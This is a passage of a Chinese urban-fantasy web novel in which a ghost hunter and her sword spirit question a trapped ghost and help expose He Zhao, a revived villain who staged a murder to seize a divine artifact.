“我是绝对不会打扰你工作的!好不好嘛好不好嘛,好阿俟好菩萨!”
他双手合十,虔诚向李俟菩拜了三拜。
李俟菩不为所动,甚至冷笑出声。
之前还以为他这个小剑灵有多怕她,结果只是个遮人耳目的幼稚鬼。
李俟菩一时之间奈何不了他,不过如果带上他,对付那些诡物应该事半功倍,也许能早点回来和赵慵说那条何诏的线索。
顶多就是吵了点。
没事的,覃诩水她都忍过了。
李俟菩看了一眼窗外,吐出两个字,“化剑。”
应庐就知道李俟菩是嘴硬心软,如愿以偿地笑了两声,利索地化剑挂在李俟菩的腰上。
夕阳熔金,橘红云彩,为天镀上浅层余晖,点点金色剪影也覆作檐上鸟的新衣。
鸟轻扑翅膀,展翅飞翔,黑眼球的景色几近变换,最终它累了,又歇在某一处屋粱。
嵌入眼里的两个小人越走越近,它啄啄自己的羽翼,又飞向天边。
“怎么这么远啊,阿俟,你累不累?”应庐嘟囔着嘴抱怨道。
一出局里,应庐就迫不及待地化成人形东奔西跑,对一切事物都充满了新鲜感。
只是天气实在是太热,就算他自带冷气,也抵不过高温,热得像只小狗直哈气。
李俟菩一路像阿娘带小孩一样,给他买了甜筒又买了泡泡,花掉了兜里的一张小红票,她着实是有些心疼。
不过应庐似乎对这里很熟悉,什么找零钱,怎么和老板还价这些,他都手到擒来。
最重要的是,她才发现,这人早就换了一套当世衣装。
难怪怎么看就怎么违和。
原来他早背着她当了现代人!
“好热啊,好热啊,啊啊啊啊!”应庐说着说着就开始揉搓自己的脑毛,看样子是不疯魔不成活。
于是甜筒没吃,泡泡也没玩成的李俟菩实在是忍不住了,举起手就给了应庐的头一拳。
带这人出来的后悔心情飙升。
“闭嘴。”
李俟菩似乎还不解气,摁着应庐又锤了好几下。
手下的人却没有半分喊痛,受着打,调笑道:“就吵就吵!略略略!”
于是李俟菩打得更狠了。
残红下,应庐的笑容里掺着几分暗爽。
拼命发泄后的李俟菩有些累了,肩膀一松,迈着步子走进褚家大院的门。
残日似给褚家大院的墙皮刷了一层活血,整个院子鲜红,肉眼看起来格外毛骨悚然。
“哎,怎么一点诡气都没有?”身后的应庐追了上来,手揉着自己被暴击过后的脑袋。
李俟菩也有些奇怪,看起来怪异,其实半分诡气她都没感觉到。
“不会是找错地方了吧?”应庐环顾四周。
说是大院,其实就是正屋前有着一个足够宽敞的院子,特别简陋,根本不是什么四合院的结构。
大门离正屋有好几步远,一侧干涸的池塘里边绽裂的泥土结成块,塘壁外还有几条被飞蚊围绕的鱼骨,见人走过便四处飞动,最终又落在那鱼骨上。
另一侧无人打理的蔬果支架孤零零伫立在那边,凋败的枯叶被风一吹,落在地上,被李俟菩踩过。
原先应当是个很有生活气息的家。
“这地方,明明最适合藏东西了,怎么会半分气息也无?”应庐望着艳红的正屋门,“要是找错地方的话那就太遗憾了。”
“没有错。”李俟菩道,“明明是诡气的中心,一进门反而无影无踪。”
“哦,那就是这次的诡物比上次那个小妹妹,还喜欢玩躲猫猫咯。”应庐搓了搓手,毫不犹豫地推开正门。
吱呀——
让人牙酸的推门声。
应庐掩鼻,“这都多久没住
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人了,这么多灰?”
聪明的李俟菩早就在应庐推门时就躲在他身后,所有的灰应庐全部当头接下。
“天马上黑了,速战速决。”
李俟菩进门,在无人打扫的木地板上留下脚印。
“那么请问我的主人,诡都没显影,怎么速战速决呢?”应庐干笑道,“不如让我来猜一猜,你现在一定在想怎么让我当靶子吧。”
“真是一把睿智的剑呢。”李俟菩出奇地夸了句他。
“你变坏了。”应庐皮笑肉不笑,但还是递给了眼前这个出卖本命剑的女人一张符箓。
李俟菩看了一眼,抬眸道:“换一个,威力太小。”
“不是,你当我是百宝箱,什么都有是吧?”
“那你昧着良心说,你现在手里没有更高阶的符箓?”
刹那,李俟菩心神一晃。
耳边浮现一些闲言碎语。
斗嘴的情景让她似曾相识,她越来越觉得古怪,眼前这个剑灵一定和她有着什么不一样的关系。
拂去蹊跷,应庐还在指控着什么,她懒得再听,也懒得再纠结,拿过那符箓直截了当地贴在应庐侧脸上。
他被符箓灼得一抖,大眼睛水灵灵地瞪了她一眼。
这是除诡一族最常用的招魂符,按阶级划分,阶级最高,威力越大,就算是诡物有心逃走,都挡不住这东西的吸附力。
贴在应庐脸上的这张虽然不是最高极的,但对付寻常诡物肯定是足够了。
受制的应庐说不了话,打着手语继续刚才的话题。
李俟菩两眼一翻,直接闭上眼睛,闻风而动。
夕阳渐渐褪色,无声的暮网盖下,天际留下最后一抹亮光。
静静等了足足一刻钟,不见任何诡物。
李俟菩缓缓睁开眼。
“有意思得很。”她说。
接着撕掉贴在应庐脸上的符箓,他呼出一口气,“可不是嘛,莫不是我们阿俟自身就是个驱诡器,别的东西怕得腿软,压根儿就不会来?”
“有腿我就不会来捉了。”李俟菩扫过不算宽阔的屋内。
“这诡挺聪明啊,懂得遮掩气味,修为估计也高,没对我们攻击,爱答不理的样子。”应庐摸摸下巴。
接着他大声道:“喂!这就是你的待客之道吗?”
空气中无人回应,微尘浮动。
“对了,你朋友有没有说,要是捉不回去怎么办?”应庐怼怼李俟菩的胳膊。
“没有。”
“那就难办了,要是这东西一直不出来,我们就这么等它一晚上?”应庐摸了摸肚子,“我饿了。”
“忍着。”
应庐垮脸,小声跺脚。
倏然,阴风骤起。
李俟菩眯眼,应庐也戒备地停下脚。
这是终于出来了?
怎料只是一阵冷风,掺杂的气息又立马消失不见。
李俟菩与应庐目光交汇几秒,疑惑的神情同时出现在两人的脸上。
过了许久,应庐试探地再次跺了跺脚。
幽冥处的诡气又微微显影在二人眼前,李俟菩瞬间想到了一种罕闻的隐伏之法。
——槃木朽株。
13. 功德+13
此法修炼极为困难,其根本是利用朽木隐藏自身命眼,再结合所有怨气反扑这间暗室,倒扣木板,才能达到外怨内无的效果。
千百年来,她也只看到一只万年老诡使用此法,不过那东西早被李俟菩当练手,斩于身下了。
应庐又跺了好几脚地下的木板,怨气泄得更重了。
此法就是有一点不好,虽别人很难知道此法,但要是知道使劲鼓弄这些木板的话,就会很容易被人发现,总体来说弊大于利。
除非——
李俟菩再次驱动手里的符箓,向那木板快速摁去,“砰”的一大声,符箓的红光一瞬间照亮整间屋子。
旋即正中木板的中心那块迸裂出千万碎屑,呛人的空气让李俟菩抓着还在发呆的应庐迅速逃离门外。
风飕剧烈,大门随着碎屑的狂潮就要关上,李俟菩旋身狠狠踢开那门,霎时,所有的风都掉头朝那源处涌动!
一秒,那处诡物一声悦耳地轻笑,然后碎屑全都泯没。
两秒,门嘎吱一声,交接处摇荡着断裂,落下,掀起一地灰尘。
三秒,“我有意放你们走,奈何你们非要扰人清梦。”
正堂燃起两根红烛,两盘供物列在木桌上,青灯诡气飘散,滚滚烟云模糊牌位上的血字。
李俟菩微锁眉头,这人……鬼居然能这么齐整地说出人话来,少见。
应庐被拎着领子手脚乱晃,狗爪动了几下,悄声道:“这东西气味还挺好闻。”
李俟菩不语,手一松,应庐就摔了个屁股墩儿。
她立于门外,诡气在这间原本不显的屋子里膨胀,随即在应庐龇牙咧嘴时,缓缓现出鬼影。
“剑灵?”有些疑惑的女声。
出乎意料地,这诡长着一张极好看的脸,清纯的五官没有半分残缺,手脚俱全。
若是忽略不寻常的诡气乱窜,别人准要认为,这是一个二十多岁的正常女人。
青绿鬼火的烟雾依稀遮住她的杏眼。
被点名的应庐一愣,“我去,你是人是鬼啊?”
那诡腼腆笑了笑,“这话问得真可爱。”
暮色踏入屋内,飞鸟又回来停留在此,发出咕咕的叫声。
诡却没有分半个眼神给应庐,只是歪着头看李俟菩,不久,她眼睛里闪过一丝看不懂的情绪。
“小姐姐,你的身上为何有她的气息?”诡微微扭腰,兴复不浅,“告诉我的话,我就不杀你了,怎么样?”
李俟菩眼眸半眯,“谁?”
女诡凑近几步,身上那半肩深蓝礼裙摆动,脸上浮现些许焦急的神情,“别装,你找到了她的尸骨,对吗?”
福至心灵,李俟菩知道这位诡说的是谁了,“你跟她有关系?”
诡又近少许,应庐剑眉上挑,微微侧身挡在李俟菩面前。
“话太多了小姐姐,你只需告诉我,她的尸骨,在哪里?”这诡的声调缠绵,极会蛊惑人心,李俟菩不语。
“喂喂喂,再近的话,我难保不会削掉你的一只脚哦。”应庐笑得无辜天真。
女诡果真停下,却不为所动,“你们可真会倒打一耙,明明我什么都没做,只是本本分分地呆在这里,你们却偏偏要赶尽杀绝。现在只是想问个答案,也要定个罪名,是吗?”
她说得十分憋屈,柳眉一撇,半抬胳膊,将头埋入,弱小身板可怜得让人心生怜悯。
李俟菩从不会怜香惜玉,清弹一指,内气瞬间在朽坏的木板上烙印一条裂痕,摩擦的精火险些烧到女诡的裤脚。
她惊呼一声,后退两步。
有应庐在此,李俟菩虽无法力,内力却分外充裕。
“不必故作姿态,你知道,我要杀你并非难事。”李俟菩泠然道,“你修为不算太高,如何练得槃木朽株我尚且不知,我只问你一句,你和秦云此是何关系?”
女诡听到名字时一怔,红了眼眶,呢喃道:“秦云此。”
后正色看了看这两人,像是确认了什么,眉头一皱,“如果我说的话,能不能告诉我,她到底在哪里?”
这诡自知敌不过除诡一道,应该是用槃木朽株躲过了一波又一波的调查组,如今被人发现,就要被抓走,与李俟菩讨价还价的条件,居然是想知道秦云此的尸骨处。
“可以。”李俟菩道,“不过,她早已身死道消。”
女诡听此,留出两条清泪来,哑着嗓子:“我知道,我知道的。”
她薄如纸片的身子一晃,视线落在一旁,“我叫褚逢西,秦云此是我的……朋友。”
“生前朋友?”
“是。”
居然是秦云此的熟人。
李俟菩点点头,“秦云此的尸骨前几日是在爱熏酒店里发现的,白骨在墙里,时间超过两年,如今安置在我们那边,等一切事情了结后,我们会让她安息的。”
女诡的嘴唇开开合合,似是受到了天大的打击,“原来,是在那儿啊。”
蜡烛啪嗒一响,整间屋子只映射出李俟菩的影子。
应庐打了个哈欠,蹲在地上,“褚小姐,能方便告诉我们秦云此的一些事情吗?”
李俟菩也望着眼前这个女诡,“我们对秦云此的事情了解太少,如果你能提供线索,我们会告诉你关于秦云此尸骨案的真相。”
出一趟任务,没想到能误打误撞的知晓关于秦云此的另一些事情,也不算是一件坏事。
毕竟她们的着重点一直都在胡家两姐弟身上,没有过多的调查何诏和秦云此。
“九月二十一日,那时距离云此失踪已经过了两天,电话打不通,消息也不回,我很着急,平时要去什么地方她都会提前和我说的,所以消息停留在她要去爱熏酒店处理事务后,就再也没了踪影。”
“于是我果断选择了报警。”
褚逢西轻轻开口,陷入回忆。
“秦云此的家人呢?为什么是你报警?”应庐问道。
她却异常激动起来,手拍了两下胸口,“我就是她的家人!”
应庐被吓一跳,蹲着的身子东倒西歪,从这诡的说辞来看,怎么有点奇怪?
“她家人嫌她是个女孩儿,从不管她,死了一年多以后才想起家里还有一个女儿。”褚逢西自知有点失控,又放缓了音调,“我不报警就没人会在乎她的死活。”
“那后来呢?报警也没找到?”应庐问出了声,后才想起当时如果
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找到了,哪还会有现在这回事?
“没有,问了几个嫌疑人,都说自己没干,就像串供了一样,最后不了了之,她家里人就当丢失了个东西,人还没找到,就先草草办了葬礼,呵。”褚逢西嗤笑一声。
“我也……”
“还没问,你是怎么死的?”李俟菩道。
“溺亡。”
“在哪?”
“西郊的一个小池塘里。”
李俟菩神色微动,“最后,竟是与她共眠过一处长逝地。”
褚逢西一愣,“什么意思?”
“秦云此是被人勒死,然后抛西郊池塘后,被人剥去皮肉,最后一具白骨被人黏在酒店的水泥墙上,一年多。”
李俟菩实事求是,不会说漂亮话,血淋淋的事实摆在褚逢西眼前,她似万箭穿心般伤心得站不稳,腿脚一软便趴在地上。
应庐见状,拍了拍李俟菩,示意她不要这般耿直。
李俟菩不言,默默闭嘴。
“所以,你是在什么都不知道的情况下,失足掉进池塘里淹死的?”应庐放软声线,出口却还是锋芒如剑的事实。
“我一直在找她,精疲力尽,这个下场我接受,就当陪她去了。”
“褚逢西,你认识胡靳吗?”李俟菩曲指。
她抬脸,豆珠大小的泪砸在地上。
“两年前九月十九日,胡靳勒死了秦云此,世道轮回,在今年九月十九日,他死于秦云此之手,而秦小姐,最后一起拉着胡靳的魂化为乌有。”
褚逢西泪眼婆娑,嘴不停地颤抖,嘴角却笑,“该,活该……”
“我还有个问题,褚小姐,同为诡物,为什么你不去找她?”应庐找到了什么漏洞。
褚逢西呼吸都有些不顺畅了,“我也很想见她,可是——”
她转头望向牌位,李俟菩顺着视线看向那边,只见牌位与两只蜡烛成三角线,另一点竟直直连着褚逢西本体。
“我走不了。”
四点一线,一点以诡物成眼,锁魂阵?!
“又是他?”李俟菩脸色不虞,“这厮还真是,绸缪帷幄呢。”
褚逢西哽咽道:“大人,我从生到死一件坏事都没做过,最执着的事就是找到云此,如今我也不求你们放过我,我只求你们把害死云此的真凶帮凶找到,给他该有的惩罚,行吗?”
李俟菩叹了口气,褚逢西说得不错,这诡手上当真一滴血都没沾过。
“那你怎么被人家发现的,还成为了猎杀对象?”应庐上前,对着褚逢西左瞧瞧右瞧瞧。
说起这个,褚逢西顿时一脸黑线,声线还是哑的,“还不是别人要推了我这个大院建楼,这要是真推了,困我得阵法非但不会消失,我连木板都没有了,住在哪儿啊?喝西北风吗?”
“所以我就吓吓他们,哪知道他们玩不起,找了捉诡的来捉我。”
“那你为什么能说人话?你们不是自成一套鬼语系统?”
“我也不知道,还有这说法?那你不是剑灵,怎么不说灵语?”
……两个小可爱叽叽喳喳的凑一堆了。
“最后一个问题,你怎习得这槃木朽株?”李俟菩看着褚逢西。
14. 功德+14
已是深夜,路灯把李俟菩的身影拉得老长。
得到答案的她更持保守态度,若褚逢西的槃木朽株是何诏不小心遗漏在此的失传鬼法,那何诏又是怎么知道的?
应庐的消息,自己的猜测……
纵观全局,何诏一直都处在台风眼的中心,其他人只是牵制其中的风浪。
绕了一大圈,这个不人不鬼的何诏就只是为了得到土中碧吗?
而那个土中碧居然能刺激到自己,不可小觑的器物,或许,与她无故掉落在这个异世界有关?
李俟菩看了一眼左手握着的剑,又看了看右手瓶子里被封印住的褚逢西,心事重重地走进局里。
不料她人还没进门,就被覃诩水千呼万唤使出来般拉住手腕。
“好姐姐你可总算回来了,就等着你回来呢,快快快,余愁山有重大发现。”
覃诩水捧着冰冰凉凉的条棍状正吃得开心,就要拉着她走去解剖室。
“这个交在哪儿?”李俟菩任她拉着,举起瓶子。
覃诩水回头一望,松开手,“等会儿交给我吧,我去交到今天的任务查收点。”
李俟菩的脚步放缓了一点,“这东西每次都是活捉?查收点是你们老板告诉你们的地点是吗?”
覃诩水嘴里嚼着东西,鼓鼓囊囊道:“是啊,怎么了?”
“最后这些诡都会去哪里?死吗?”
李俟菩不由得想起褚逢西那双对故人哀痛的眼神。
“差不多,交公嘛。”覃诩水一脸无所谓,垂眸吃着雪糕。
李俟菩没再问了。
“怎么突然问这个?”她道。
“好奇。”
覃诩水垂头片刻,说:“是不是遇见了别的什么事?”
李俟菩乖乖点头,“我从前只听家里人行事,对这些东西从不手下留情,是因为,我从来没遇到过善缘。”
“今天头一次遇到?”覃诩水被额前的碎发挡住了眸子。
“嗯。”
“哟,好姐姐心软了?”
覃诩水欠揍的调调传入李俟菩的耳朵,她一个巴掌就要作势。
眼前这人闪得飞快,“哎呀好了好了,没想到冷漠无情的你也会多愁善感啊?虽然这种事以后还会遇到,但你别多想,世上之事从没有绝对的好坏之分,所以——”
李俟菩看着她,等着她下文。
“所以你手机号码是多少?联系不到你人挺着急的,有什么话还得憋到亲自见面说。”
覃诩水闷头干完一根雪糕,刚刚的温情立马不见,她满不在乎地笑笑。
李俟菩头上冒出一个天大的问号,嘴角不经意地抽了抽。
对面人看她这幅呆呆的模样,难以置信道:“小神仙,你不会连个手机都没有吧?那你的生活得多无趣啊。”
回答她的是沉默。
半晌,她妥协地抹了抹脸:“真是个活神仙,回头等案子办完了,要不我陪您老逛个街?”
李俟菩纡尊降贵地点头,表示自己很满意覃诩水的回答,走进解剖室。
跟在背后的覃诩水咕哝两声,好话坏话揉成一团,李俟菩压根没往后瞧。
“若是真如此,那就得下达高阶通缉令了。”
一进去,就听见赵慵认真决断的声音。
李俟菩走两步,道:“我赞同。”
“回来了小菩?”赵慵的面庞在惨白的灯光下竟流露出温和,严肃的神情荡然无存。
身着白大褂的余愁山朝李俟菩礼貌点了个头,李俟菩回敬道:“那表皮组织是何诏的对吧?”
“你怎么知道的?”覃诩水接了杯水,抽空找了个椅子坐下,“我们组真是来了个神人,一猜一个准。”
“没猜,我得到了一些消息。”李俟菩走近解剖台上的白骨。
赵慵转身替李俟菩倒了杯水,“说说看。”
李俟菩抬起手上的瓶子,晃了晃,“这个是我刚刚的任务,好巧不巧,此诡是秦云此的朋友,其中缘由复杂,而我在今天的任务点又发现了锁魂阵,更有趣的是,这诡是西郊南塘的水鬼。”
“水鬼?怎么会被锁在褚家大院?”赵慵接过李俟菩的瓶子,黑红细长枷锁纹路在瓶口抢眼一瞬。
“诡物与秦云此关系不浅,估计是怕两诡半夜来索命吧。”
“这锁魂阵是搞批发的是吗,何诏这人还挺显摆。”覃诩水玩弄着手上的那根雪糕细棍,红唇一撇。
李俟菩理了理发丝,“说不定,他就不是个人。”
余愁山不苟言笑道:“你是说他身上有诡气?那我们怎么察觉不到?”
赵慵也看着李俟菩,她知道只要是李俟菩说出口的话,半分之九十都是真话,可她与何诏接触过,那何诏行事姿态,分明就是个人。
“诡物化人,百年难遇,但鲜闻不代表就没有这个先例,我曾见过一诡物隐于山间娶了个妻子,幸福美满,后同穴而葬,况且诸位可有听说过,槃木朽株?”
覃诩水与赵慵没说话。
李俟菩扫了一眼在场几人,最后落在余愁山身上。
“余姑娘,你应该听过吧?”
风骤起,窗户没关,余愁山的短发抚上她的眉,她轻轻一拨,道:“此法早已失传,就算何诏修成此法,也万万达不到站在我们面前,都认不出他是诡物的效果。”
“这法术是诡物独有?用法是什么?”赵慵问。
“用来隐藏诡气的一种生僻法术,用者可以存活上千年都不被发现。”
李俟菩双手抱胸,“若与一物相辅相成,或可达到?”
“你说。”
“土中碧。”
此话一出,三人面色皆变。
“怎么?”李俟菩半掀眼皮。
看来那东西这几个人都知道。
“你见到它了?”覃诩水瞠目结舌,手里的雪糕棍掉在地上。
李俟菩煞有其事道:“不但见到,我还摸到了,就是上次跟你们说的那个棒槌。”
“什么?!棒槌?它被何诏抢走了?!”覃诩水三步作两步走到李俟菩身前,耳朵都被惊得立起。
“倘若这样,可以。”余愁山给出准确答案,“古史记载,天下神物分为三块,一灯一铃一榔头,凡人得到便可通神佛
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,羽化登仙,诡物若得便可起死回生,枯骨生肉,虽然都说是镇诡神针,但它对于人诡的益处却是同等的。”
“世人都道是神话传说,可只有我们知道,这些话全都是真的。”
赵慵手指交叉:“人诡都想争抢,只是神物在很多年前就被人给镇压四处了,此后再无人知晓。”
“你是怎么知道的?何诏又是怎么知道土中碧的具体位置的?”覃诩水盯着李俟菩问道。
李俟菩习惯性地不答,转而道:“既是如此,那何诏体内必定有一块神物了,那为何还要夺土中碧?”
“什么意思?”赵慵不自觉地摩挲手上的瓶子。
“赵队,你与何诏接触在前,覃诩水任务在后,得到土中碧之时他就已经存活了,假使他真是个死人,除却体内已有神物回春之外,还有什么可以解释得通?”
“不错,你是怎么知道槃木朽株的?”余愁山问。
“受诡物启发,此诡修为不高却知道此罕见之术,它说是何诏不小心留在那儿的图纸助它修习。”
“看来何诏真是下了步昏招啊。”赵慵冷峻道。
覃诩水想插言,又被李俟菩打断:“还有最后一个问题,酒店的锁魂阵,是五年前就已经布好了,我猜,不论是胡靳胡谙,甚至是秦云此还有这个诡物,都只是他为了得到土中碧的棋子罢了。”
“他才是,幕后之人。”
覃诩水思考着说:“可是杨岐不是说,锁魂阵是秦云此死了以后镇邪布下的?”
“一个幌子。”赵慵道,“锁魂阵是五年前就布好不假,起初那片只是山野,何诏应该是没想到那处会被国家扩容成城市,后来建了个酒店,所以他兜个圈子只是为了巩固阵法。”
“锁魂阵真的只是锁魂阵吗?”余愁山问出口。
李俟菩道:“当然不是,他兜圈子也不是为了固本,相反,他是要销毁。我当时看了那阵法,如果是有心修复,不可能是原样。”
“何诏拿不到土中碧反而设阵,难不成土中碧需要别的条件才能现世?”覃诩水道。
赵慵仿若被人一敲大脑:“答案其实很简单,把秦云此案与土中碧联系起来,就能得到一个很完美的结论。”
李俟菩鼓鼓掌,“激起怨气,以毒攻毒,诱人做引,布局五年,神物攫为己有。”
余愁山目光微黯:“很遗憾,最终是秦小姐填补了那个五年前就需要牺牲的空位。”
“这也太丧心病狂了吧!”覃诩水看着那具白骨,“秦云此充其量只是何诏的一个供品?”
众人一时沉默。
不久,“你怎么知道土中碧长什么样?”余愁山看向李俟菩。
“你们不知道?”李俟菩反问。
其余两人点头如筛糠。
于是李俟菩不说话了。
赵慵咬唇:“此事关系重大,关于神物一事我得汇报上级,还有些事情,我得再回案发现场看看。”
她手机一震,掏出来看,是宁松帷发来的消息——
何诏现行踪于市中心人民医院。
赵慵拧眉,这是,胡谙住的医院!
15. 功德+15
“不好,何诏去胡谙所在的医院了,肯定是去找她的!”
赵慵盯着屏幕上的字,“他现在四面楚歌,很有可能会对胡谙不利!”
“what?!”逼得覃诩水一口英文飚出来,“净不干好事儿啊这狗东西,胆子挺大,直接奔我们监守的证人去了!”
赵慵关掉手机,就要夺门而出,覃诩水也是要着小短腿地就要起飞,李俟菩却一手抓一个,轻轻拉住了她们衣摆。
赵慵扭头,看她似笑非笑。
“怎么了?”
李俟菩凭空生出几张符箓来,二话不说就贴在几人脑门上,口中念叨几声咒语,赵慵便觉翻天覆地一般,李俟菩的脸有些模糊,随后光影卡帧。
仅仅一秒钟,眼前已换了副景象。
一种医院独有的消毒水味袭来,味道重得让她打了个喷嚏。
再定睛一看,素白的灯银白的墙,逃生绿牌置于走廊的尽头。
“到医院了。”她还似没回过神来。
覃诩水直接愣在原地,思绪久久飘散,余愁山则摇了摇头,还没适应这一片白光。
脑门上的符纸化为红烬,露出李俟菩浓眉大眼的脸,覃诩水听她道:“你们用的工具太慢,还是这个稍微快点。”
“快快快,快来个人掐我一下,这该不会是博物馆展出的千年地行符吧!”覃诩水一手掐人中,一手拽住余愁山,就要往下晕过去。
余愁山无情地扒拉下覃诩水的手,顺便往死里拧了她一把。
“哇!”覃诩水当即大叫了一声,回过头来恶狠狠地瞪着余愁山,“死山,你干嘛!”
余愁山无语撇撇嘴,看向李俟菩,“李小姐,这是什么符?”
李俟菩漫不经心着说:“覃诩水说对了,不过,博物馆是个什么?”
笑话,她可是从应庐手里薅了几十张符箓,一人走在路上,没点依仗怎么行。
赵慵彻底清醒,咳嗽了一声,向前去找胡谙的病房,后面几人也自觉地陆续跟上。
“是展示人类活动和自然环境的见证物的一种机构。”余愁山以一种极为标准的说法回答了李俟菩。
见证物?
“一个普通的地行符,居然是文物?”李俟菩想起曾为捉诡浪费的那些低级符箓,嗤笑一声。
看来这个世界就算什么领先她们好多年,在关于捉诡这方面,可真是……
覃诩水听她凡尔赛的言论,叹气练练,“喂,你真的是现代人吗?”
“不是。”
余愁山眸光一转,认真观察了好一会儿李俟菩。
覃诩水切了一声,“你当我瞎啊?”
“那你还问?”
覃诩水被气笑了,张牙舞爪的就要让李俟菩见识她的厉害,却被赵慵一把捂住嘴,一口气憋在喉咙里,当场心梗。
“找到了。”赵慵竖起手指,悄声道。
这个被她们称为“医院”的地方像极了她们那时候的医馆,无数个房间挂着门牌号,一路走过,都能透过门边上的小洞,窥见里面的人在干什么。
如今已经很晚很晚了,几乎所有病人都已深睡。
赵慵站在一边,李俟菩朝那个小洞里面看去。
普通病房里面共有三张床,其余两张无人,胡谙睡在最里面的病床,却只能看到熟睡的半张脸。
床前有一人正背对着她们。
那人站在那里一动不动,房间里的窗帘关得死死的,月光渗不进来,他几乎要与黑暗融为一体。
看身形,是何诏。
“明知道我们在逮捕他,还敢贸然现身医院,不会有诈吧?”覃诩水小声说,一颗头挤进赵慵与李俟菩中间,向上瞧。
“他身上并无暗器,浑身极为松弛,不像。”赵慵夜视极好,她快速扫视了一眼何诏全身,“不过,确实奇怪。”
今日何诏穿了件灰衬衫,两手插兜,瘦细的手腕漏出来,绵延的青筋特别明显,长裤似有些短,露出他的脚踝,黑暗中,几块攀延的尸斑延没入裤脚。
“傀儡。”李俟菩眉峰压低,“他确是已死之人。”
“那我们刚刚说的就全是对的。”余愁山也看到了,嘴角绷紧。
覃诩水却一头雾水,手扒大眼皮也没看到,脑袋一拱一拱,李俟菩的脖颈被她长发扫得痒,不得劲儿地将她头扒去到一边去。
“他看起来对胡谙很是留恋,居然没有察觉到我们。”赵慵轻叩覃诩水的脑袋瓜,示意她安静点。
“要不我们先下手为强?”覃诩水朝李俟菩哼了一声,看向赵慵。
赵慵点头,“松帷应该已经带着其他人在外面接应着了,其他组的成员今夜估计也在附近做任务,无论如何,今日他插翅也难飞。”
得到队长的首肯,覃诩水居然肉眼可见地兴奋了起来,“我可是最喜欢玩瓮中捉鳖了。”
赵慵手搭在门把手上,默念了三声。
如风起云涌,刹那,覃诩水腾蛇走位,率先一步,直朝何诏腿脚抓去。
房间里像是暗无天日的黑窝,男人肆意地嘴角一勾,眼里闪过一丝阴毒。
他镜片闪光,从兜里飞快掏出什么东西,早有蓄谋般将那攥在手心的蛊虫投向她眼睛!
蛊虫蠕动着虫身跳得很快,有的放矢,就要窜至覃诩水的眼球里,却被一捆鞭子截下。
细小的蛊虫被牢牢圈住,后瞬间变为末屑。
细尾长鞭砸在地上发出清响,鞭脚的深蓝电光像毒蛇逶迤向上屈行,赵慵的唇染上靛青。
李俟菩眼中掠过惊艳之色,“上等法器,很好。”
何诏计谋转瞬成空,立马去拿柜子上的水果刀,砍向没醒的胡谙,覃诩水措手不及,忙上手去抓,哪知何诏翻转手腕,锋利的刀尖就要触及她的脸颊。
冷寒的光划过何诏疲惫的眼,余愁山一个捞回,扭身长腿横扫,运动鞋底直接踩上他的脸。
李俟菩抓住时机,往何诏膝盖重重一踢,他惨叫一声,单膝跪地。
覃诩水反手钳住他胳膊,用力卸下,踹向他另一只腿,何诏却已无力呼痛。
胡谙还双眼紧闭,动静那么大,病床上的人连睫毛都没眨一下。
“看一个人偶都那么深情吗,何先生?”赵慵卷巴卷巴长鞭,鼻间溢出笑。
何诏一口黑血喷出来,余愁山嫌弃地后退两步。
李
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俟菩一进门就发现床上这人不正常,病房里可只有何诏一个人的呼吸声。
再仔细去看,“胡谙”的手腕上缠着的红线与何诏相连,分明是他操控的丝线木偶。
所以动起手来,几人根本没什么好顾忌的,看其他病房也没什么声音,估计是她们闹得还不够大。
失去了力气,病床上的人缓缓化蝶消散,李俟菩低声道,“可惜,你早死了。”
何诏听懂了她的话,呼吸乱了节奏。
“说,胡谙去哪儿了?”覃诩水动了动何诏被卸的胳膊,何诏闷哼一声,头垂下。
他暗哑说:“放心,在你们同伴手里。”
在宁松帷手里?
此时赵慵手机一震,收到了宁松帷的消息,安下心来。
李俟菩看何诏不正常的微微颤抖,“你内力受制,怎么回事?”
虽说四人擒下他绰绰有余,但怎么也不会这般轻松。
何诏笑了一声,眼镜脱落,掉在地上一响,没答。
余愁山仔细观量,“他身上已无神物,枯竭之象,恐怕就要消亡。”
“什么?喂,到底怎么回事,你先别死啊。”覃诩水着急地又扯了扯他脱节的手臂,他似是痛极,身体又一颤。
……
“你是怕他死得不够快吗?”赵慵无言以对。
覃诩水呆呆地看着自家队长,还没搞明白现状。
“你们……不是都猜到了吗?”何诏喉结一动,咽下血沫,“那就是真相。”
“你故意诱我们来捉你,却不忍用胡谙做局,你五年目的皆为神物,临死之际,身上却一件神物都没有。”李俟菩蹲下身,“你在替谁做事?”
“槃木朽株与神物并蒂,你算是找对了路子。”
何诏抬头,视线并无焦点,“我一生只为我自己。”
他身上秘密太多,光凭盘问,定是撬不开他的嘴。
“你还真是,冥顽不灵。”李俟菩漠然。
何诏冷汗直冒,油腻脂粉顺着他脖颈流下,露出缝缝补补的皮肉。
赵慵俯身看他,“何诏,你曾被斩首过?或者说,是你死了才被人割头?”
何诏没应,他又呕出一口血,看向窗帘下那处月光。
半晌,哼唱出声:“剧辛乐毅感恩分,输肝剖胆效英才。”
李俟菩脸上闪过意味深长。
赵慵道:“何诏,你在几年前爱上胡谙,又机缘巧合得知胡靳的污秽想法,所以你利用胡靳让他杀掉秦云此,又劝说老板成功把秦云此的白骨放至酒店,怨气滋生。”
“一来,你可以替胡谙除掉这个忘恩负义的亲弟弟,二来你坐收土中碧,如愿以偿。”
“我问你,生犀,你从何处得来?”
男人痴痴笑道:“你们有通天本领,何苦逼问我一个将死之人?想知道,你们可以……去查。”
他威胁一般的疯笑惹来赵慵的劲手,他被掐住脖子,从嗓子里挤出来的笑卡在喉咙里,嘴中的血液倒灌,他咳得满脸通红。
“何诏,不要以为你死了就会完事。”
李俟菩却道:“真是好一个知遇之恩,你故意来送死?”
16. 功德+16
“知遇之恩?”覃诩水瞅了他一番,“我说你吱吱呀呀地唱什么呢,原来你是真受人指使!”
李俟菩摩挲手指心,直接挑明:“何诏,你神志已经昏聩,不出一刻就会毙命,若你说出有关于生犀与神物的下落,我可保你不死。”
隐在她身后的余愁山瞳孔微缩,看向她随性的侧脸,不知在想些什么。
何诏的呼吸有些困难,缝合的皮肉在赵慵手下紧紧扼住,李俟菩碰了碰赵慵的手腕,赵慵没好气地松了手。
鼻腔猛入新鲜的空气,男人咳得惊天动地。
“……我早就死了,与地府抢几年寿命已是万幸,况且,当世早就没有能让人起死回生的本事,大话也要说得有凭有据一点。”
“若我就是能起死回生呢?”
李俟菩的表情没有丝毫开玩笑,她起身,寡淡道:“何诏,你的魂魄已是四分五裂,今生今世,永生永世你都再也入不了轮回。”
其实她就是开玩笑的。
笑话,死了都快两次的不人不诡,灵魂拼都拼不起来,还指望她去凑齐?
